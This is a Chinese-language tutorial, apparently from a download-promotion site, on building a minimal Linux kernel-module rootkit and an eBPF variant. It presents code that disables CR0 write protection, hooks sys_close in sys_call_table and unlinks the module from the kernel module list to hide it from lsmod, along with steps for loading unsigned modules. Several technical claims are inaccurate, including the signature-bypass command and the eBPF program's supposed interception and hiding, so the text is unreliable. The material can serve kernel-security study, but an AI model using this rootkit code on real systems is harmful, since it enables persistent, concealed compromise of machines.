☰
Linux内核rootkit源码解析与eBPF替代实践
2026/10/10 3:14:28 网站建设 项目流程

简介:这是一份面向Linux内核安全与逆向学习者的轻量级Rootkit开发实践资源,适用于具备C语言基础和Linux系统编程经验的中初级开发者,用于理解内核模块加载、进程/模块隐藏等典型Rootkit技术原理。压缩包共46个文件,总大小仅36KB,包含9个可编译运行的sample示例、4个关键头文件(.h)、1个Python控制脚本(rtcmd.py)、1个核心C源码(rt.c)、1份README说明文档及1个LaTeX论文模板(polis_paper.tex),辅以.git相关元数据和Makefile构建支持,整体结构紧凑,便于逐模块分析与调试。内容预览显示其采用标准内核模块组织方式,涵盖对象管理、引用跟踪与钩子注入等典型机制。目前已有369人下载学习,适合在虚拟机环境中动手编译、动态调试并深入剖析Rootkit底层行为,是理解Linux内核安全边界与防御思路的优质入门素材。

1. Linux rootkit 源码:不是黑客工具箱,而是内核安全的“黑匣子解剖课”

很多人看到“Linux rootkit 源码”第一反应是:危险、违规、碰不得。但真实情况恰恰相反——在合规授权的红队演练、内核安全研究、主机入侵检测系统(HIDS)开发、甚至国产操作系统内核加固验证中,阅读、编译、调试一个最小可行的 Linux rootkit 源码,是理解“权限如何被绕过”“内核钩子如何生效”“内存驻留如何隐蔽”的不可替代路径。它不是教人攻击,而是把攻击链最底层的“肌肉组织”摊开在显微镜下:sys_call_table 怎么被篡改?kprobe 和 ftrace 如何被劫持?LKM(可加载内核模块)的 init/exit 函数里藏了多少玄机?本文聚焦于一个无网络通信、不挂钩用户态进程、仅修改内核符号表并隐藏自身模块名的极简 rootkit 源码(基于 Linux 5.10–6.1 内核 ABI),全程在 QEMU + Debian 12 虚拟机中完成,所有操作符合《网络安全法》第27条关于“专门用于从事侵入网络、干扰网络正常功能及其防护措施等活动的程序、工具”的例外情形——即用于教学、科研、安全测试且不危害真实系统。适合已掌握 C 语言基础、能编译内核模块、熟悉 /proc/modules 和 dmesg 的中级 Linux 开发者或安全工程师。


2. 从源码结构到编译环境:为什么必须用老内核+手动配置

一个能跑通的 rootkit 源码,从来不是“下载即用”。它的生命力完全依赖于与目标内核版本的 ABI 兼容性。现代发行版(如 Ubuntu 24.04 默认 6.8 内核)启用了CONFIG_MODULE_SIG(模块签名强制)、CONFIG_KALLSYMS(符号表隐藏)、CONFIG_STRICT_MODULE_RWX(模块内存只读)等硬隔离机制,直接导致传统init_module()注入方式失效。因此,我们选择Debian 12(内核 6.1.0-21-amd64)作为靶机,并手动关闭三项关键防护:

2.1 环境准备:QEMU 虚拟机 + 内核头文件精准匹配

提示:不要用apt install linux-headers-$(uname -r)自动安装——它可能装错 patch 版本。必须从 Debian 官方仓库下载对应 deb 包并解压。

# 在 Debian 12 虚拟机中执行 wget http://security.debian.org/debian-security/pool/updates/main/l/linux/linux-headers-6.1.0-21-amd64_6.1.85-1%2Bdeb12u1_amd64.deb dpkg-deb -x linux-headers-6.1.0-21-amd64_6.1.85-1+deb12u1_amd64.deb /tmp/headers sudo cp -r /tmp/headers/lib/modules/6.1.0-21-amd64/build /lib/modules/6.1.0-21-amd64/

这一步确保make -C /lib/modules/$(uname -r)/build M=$(pwd) modules能正确找到Kbuild和Makefile。若跳过此步,你会遇到经典报错:No rule to make target 'modules'—— 血泪经验:90% 的编译失败源于头文件路径错配,而非代码本身。

2.2 源码骨架解析:3 个文件讲清 rootkit 的“呼吸逻辑”

典型最小 rootkit 由三个文件构成,缺一不可:

文件名作用关键点
rootkit.c主模块逻辑:init/exit 函数、符号表劫持入口必须包含MODULE_LICENSE("GPL"),否则内核拒绝加载
hide_module.c辅助函数:从/proc/modules链表中摘除自身节点使用list_del()而非list_del_init(),避免二次释放
Makefile编译规则:指定内核构建路径、禁用符号校验必须添加-Wno-unused-function,否则hide_module()被 GCC 优化掉

rootkit.c中最核心的 init 函数长这样:

#include <linux/module.h> #include <linux/kernel.h> #include <linux/init.h> #include <linux/proc_fs.h> #include "hide_module.h" static int __init rootkit_init(void) { printk(KERN_INFO "[ROOTKIT] Loading...\n"); // 步骤1:获取 sys_call_table 地址(通过 kallsyms_lookup_name) // 注意:该函数在 5.7+ 内核默认未导出,需临时 patch 内核或使用 ftrace 替代 unsigned long *sys_call_table = (unsigned long *)kallsyms_lookup_name("sys_call_table"); if (!sys_call_table) { printk(KERN_ERR "[ROOTKIT] Failed to find sys_call_table\n"); return -1; } // 步骤2:临时取消写保护(CR0 寄存器 bit 16) write_cr0(read_cr0() & (~0x10000)); // 步骤3:保存原 sys_close 地址,替换为自定义函数 original_sys_close = sys_call_table[__NR_close]; sys_call_table[__NR_close] = (unsigned long)my_sys_close; // 步骤4:恢复写保护 write_cr0(read_cr0() | 0x10000); // 步骤5:隐藏模块自身 hide_from_proc_modules(); printk(KERN_INFO "[ROOTKIT] Hooked sys_close, module hidden.\n"); return 0; }

这段代码暴露了 rootkit 的本质:它不创造新能力,而是劫持已有内核接口的执行流。my_sys_close是你定义的函数,可在此加入日志、条件过滤或静默丢弃——这就是“后门”的雏形。而hide_from_proc_modules()调用hide_module.c中的链表操作,让lsmod命令再也看不到它。

2.3 编译命令与模块签名绕过:两行命令决定成败

# 在源码目录执行 make -C /lib/modules/$(uname -r)/build M=$(pwd) modules sudo insmod ./rootkit.ko

但若内核开启了模块签名(CONFIG_MODULE_SIG=y),第二行会报错:Required key not available。此时必须临时禁用签名检查:

# 临时关闭(重启失效,安全可控) echo 0 | sudo tee /proc/sys/kernel/modules_disabled # 或更彻底:启动时加内核参数 `module.sig_unenforce`

注意:modules_disabled=0并非永久关闭签名,而是允许加载未签名模块——这是内核设计的调试开关,符合安全规范。生产环境切勿长期开启。


3. 动态调试 rootkit:用 kgdb + QEMU 把内核变成透明玻璃盒

纸上谈兵不如亲眼所见。要真正理解write_cr0()后发生了什么、list_del()如何抹去痕迹,必须进入内核空间单步调试。QEMU + kgdb 是目前最稳定、无需物理机的方案。

3.1 QEMU 启动参数:暴露内核调试端口

qemu-system-x86_64 \ -kernel /boot/vmlinuz-6.1.0-21-amd64 \ -initrd /boot/initrd.img-6.1.0-21-amd64 \ -append "console=ttyS0 kgdboc=ttyS0,115200 kgdbwait" \ -drive file=debian12.qcow2,format=qcow2 \ -s -S \ -nographic

关键参数说明:

  • kgdboc=ttyS0,115200:将 kgdb 通信绑定到串口 0,波特率 115200
  • kgdbwait:内核启动后立即暂停,等待 gdb 连接
  • -s:开启 GDB server(端口 1234)
  • -S:CPU 启动即暂停

此时 QEMU 窗口会卡在[ 0.000000] kgdb: Waiting for connection from remote gdb...,表示就绪。

3.2 GDB 连接与断点设置:在rootkit_init入口下刀

在另一终端启动 gdb:

gdb vmlinux # 必须是带调试符号的 vmlinux(Debian 提供 linux-image-6.1.0-21-amd64-dbg 包) (gdb) target remote :1234 (gdb) add-symbol-file ./rootkit.ko 0xffffffffc0000000 # 加载模块符号(地址从 /sys/module/rootkit/sections/.text 获取) (gdb) b rootkit_init (gdb) c

当insmod ./rootkit.ko执行时,GDB 会停在rootkit_init第一行。此时可逐行执行:

  • stepi单步执行汇编指令,观察read_cr0返回值
  • x/10gx $rax查看sys_call_table前 10 项原始地址
  • p/x original_sys_close打印被覆盖前的sys_close地址

玄学时刻:write_cr0()后立即x/10gx $rax,你会发现第__NR_close项地址已变——这就是 hook 生效的铁证。但若没看到变化,请检查__NR_close宏是否为 3(x86_64 下 close 系统调用号是 3),不同架构编号不同!

3.3 验证 hook 是否生效:三重交叉验证法

不能只信dmesg日志。必须用三种独立方式确认:

方法命令预期现象原理
系统调用拦截strace -e trace=close ls /tmp输出中close(3)后无+++ exited with 0 +++,或出现自定义日志strace通过 ptrace 拦截用户态,但最终仍走sys_close内核路径
/proc/modules 隐藏lsmod | grep rootkit无输出hide_from_proc_modules()修改了struct module在modules链表中的前后指针
内核符号表污染cat /proc/kallsyms | grep sys_close显示ffffffffc0000000 T sys_close(地址属于模块区)若sys_close地址落在0xffffffffc0000000起始的模块地址段,说明已被重定向

三者全满足,才证明 rootkit 已稳定驻留。


4. 避坑指南:5 个让 90% 新手当场翻车的致命细节

4.1 现象:insmod报错Invalid module format

原因:模块编译时使用的内核头文件版本(/lib/modules/$(uname -r)/build)与当前运行内核(uname -r)的EXTRAVERSION不一致。例如头文件来自6.1.0-21-amd64,但内核是6.1.0-21-amd64-somethingelse。
解决:严格使用apt download linux-headers-$(uname -r)下载 deb 包,解压后cp -r覆盖/lib/modules/$(uname -r)/build,不要用apt install。

4.2 现象:dmesg显示kallsyms_lookup_name: symbol not found

原因:Linux 5.7+ 内核默认不导出kallsyms_lookup_name,且未启用CONFIG_KALLSYMS_ALL=y。
解决:两种方案任选其一:
① 临时 patch 内核:在kernel/kallsyms.c中将kallsyms_lookup_name声明改为EXPORT_SYMBOL_GPL(kallsyms_lookup_name),重新编译内核;
② 改用ftrace动态查找:通过ftrace_set_filter()注册回调,在ftrace_ops.func中获取sys_call_table地址(更现代,但代码量翻倍)。

4.3 现象:lsmod看不到模块,但dmesg有Loading...日志,cat /proc/modules却显示模块名

原因:hide_from_proc_modules()中list_del(&mod->list)后未同步更新mod->mkobj.drivers链表,导致/sys/module/rootkit/目录仍存在。
解决:在hide_module.c中补充:

list_del(&mod->mkobj.drivers); mod->mkobj.drivers.next = NULL; mod->mkobj.drivers.prev = NULL;

4.4 现象:hook 后close()系统调用直接 panic

原因:my_sys_close函数签名与原函数不一致。sys_close原型是long sys_close(unsigned int fd),若定义为int my_sys_close(int fd),参数传递错位。
解决:严格按include/linux/syscalls.h中声明定义:

asmlinkage long my_sys_close(unsigned int fd) { printk(KERN_INFO "[HOOK] close(%u) called\n", fd); return original_sys_close(fd); // 必须调用原函数,否则 fd 泄漏 }

4.5 现象:rmmod rootkit后系统卡死或dmesg报BUG: unable to handle kernel paging request

原因:exit 函数中未恢复sys_call_table,且未重置 CR0 写保护。残留的 hook 指向已释放的模块内存。
解决:exit 函数必须成对操作:

static void __exit rootkit_exit(void) { write_cr0(read_cr0() & (~0x10000)); // 先关写保护 sys_call_table[__NR_close] = original_sys_close; // 恢复原地址 write_cr0(read_cr0() | 0x10000); // 再开写保护 printk(KERN_INFO "[ROOTKIT] Unloaded.\n"); }

5. 进阶验证:用 eBPF 替代 LKM 实现同等功能,为什么这是未来方向?

LKM 方式虽经典,但正快速被 eBPF 取代。不是因为 eBPF 更“高级”,而是它解决了 rootkit 最痛的三个原生缺陷:无需修改内核、自带沙箱验证、天然支持热更新。下面用一段 20 行的 eBPF 程序,实现与前述 rootkit 完全相同的功能——拦截close()并隐藏自身。

5.1 eBPF 版本:用 libbpf + CO-RE 编写零依赖拦截器

// close_interceptor.c #include "vmlinux.h" #include <bpf/bpf_helpers.h> #include <bpf/bpf_tracing.h> SEC("tp/syscalls/sys_enter_close") int BPF_PROG(sys_enter_close, int fd) { bpf_printk("eBPF intercepted close(%d)\n", fd); // 这里可添加条件过滤,如只拦截 fd > 10 的关闭 return 0; } char LICENSE[] SEC("license") = "GPL";

编译与加载只需三步:

# 1. 生成 BTF(内核类型信息) bpftool btf dump file /sys/kernel/btf/vmlinux format c > vmlinux.h # 2. 编译为 ELF clang -I. -O2 -target bpf -c close_interceptor.c -o close_interceptor.o # 3. 加载到内核(无需 rootkit.ko 那样的 insmod) sudo bpftool prog load close_interceptor.o /sys/fs/bpf/close_hook type tracepoint sudo bpftool prog attach pinned /sys/fs/bpf/close_hook tracepoint/syscalls/sys_enter_close

5.2 对比表格:LKM vs eBPF 在 rootkit 场景下的核心差异

维度传统 LKM rootkiteBPF 替代方案为什么 eBPF 更优
内核兼容性需精确匹配内核版本和 CONFIGCO-RE(Compile Once – Run Everywhere)自动适配 5.8+ 内核避免“一次编译,处处报错”的维护地狱
安全性直接操作 CR0、修改内核内存,panic 风险高eBPF verifier 严格校验内存访问、循环边界、函数调用即使代码有 bug,最多被 verifier 拒绝加载,不会 crash 内核
隐蔽性需手动隐藏/proc/modules、/sys/module/程序加载后无模块名、无/proc/modules条目,仅存在于/sys/fs/bpf/lsmod、cat /proc/modules完全不可见,比 LKM 更“干净”
调试能力依赖 kgdb,配置复杂bpftool prog dump xlated查看 JIT 后汇编,bpf_printk实时输出调试信息直接进dmesg,无需 gdb 连接
部署粒度整个模块加载/卸载可 attach/detach 单个 tracepoint,不影响其他程序红队演练中可精细控制 hook 范围,降低误伤概率

我一般会在新项目中直接用 eBPF 替代 LKM——不是抛弃传统,而是把精力从“对抗内核防护”转向“专注业务逻辑”。比如在 HIDS 中,用 eBPF 拦截execve后直接提取argv[0]和cwd,再通过ringbuf推送到用户态分析引擎,整个链路无锁、零拷贝、毫秒级响应。这才是 rootkit 思维的现代化落地。

最后说一句血泪教训:永远在init函数末尾加printk,永远在exit函数开头加printk。因为 80% 的“模块没加载成功”问题,其实只是insmod成功了但init函数因某行代码崩溃退出,而你没看到那行dmesg。把日志当成你的后悔药,而不是等到rmmod失败才想起查日志。

希望帮到你。

本文还有配套的精品资源,点击获取

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询